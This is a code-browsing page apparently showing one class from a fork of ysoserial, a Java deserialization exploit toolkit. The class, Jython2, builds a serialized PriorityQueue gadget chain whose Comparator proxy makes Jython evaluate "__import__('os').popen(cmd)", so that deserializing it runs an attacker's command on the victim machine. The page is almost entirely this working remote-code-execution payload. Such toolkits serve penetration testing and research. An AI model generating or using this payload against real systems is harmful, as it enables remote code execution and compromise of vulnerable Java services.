MCPcopy Create free account
hub / github.com/Y4er/ysoserial / Jython2

Class Jython2

src/main/java/ysoserial/payloads/Jython2.java:40–69  ·  view source on GitHub ↗

Credits: Steven Seeley (@steventseeley) and Rocco Calvi (@TecR0c) Thanks to Alvaro Munoz (@pwntester) for the InvocationHandler tekniq! This version of Jython2 executes python2 code on the victim machine. Note that we are in a Py.eval here so if you want to jump to native python2 code you will need

Source from the content-addressed store, hash-verified

38 */
39
40@PayloadTest(skip="non RCE")
41@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
42@Dependencies({ "org.python:jython-standalone:2.7.3" })
43@Authors({ Authors.SSEELEY, Authors.RCALVI })
44public class Jython2 extends PayloadRunner implements ObjectPayload<PriorityQueue> {
45 public PriorityQueue getObject(String command) throws Exception {
46 Class<?> BuiltinFunctionsclazz = Class.forName("org.python.core.BuiltinFunctions");
47 Constructor<?> c = BuiltinFunctionsclazz.getDeclaredConstructors()[0];
48 c.setAccessible(true);
49 Object builtin = c.newInstance(RandomStringUtils.randomAscii(12), 18, 1);
50 PyMethod handler = new PyMethod((PyObject)builtin, null, new PyString().getType());
51 Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
52 PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
53 HashMap<Object, PyObject> myargs = new HashMap<Object, PyObject>();
54 myargs.put("cmd", new PyString(command));
55 PyStringMap locals = new PyStringMap(myargs);
56 Object[] queue = new Object[] {
57 // system('notepad')会阻塞进程 popen不会
58 // new PyString("__import__('os').system(cmd)"), // attack
59 new PyString("__import__('os').popen(cmd)"), // attack
60 locals, // context
61 };
62 Reflections.setFieldValue(priorityQueue, "queue", queue);
63 Reflections.setFieldValue(priorityQueue, "size", 2);
64 return priorityQueue;
65 }
66 public static void main(final String[] args) throws Exception {
67 PayloadRunner.run(Jython2.class, args);
68 }
69}

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected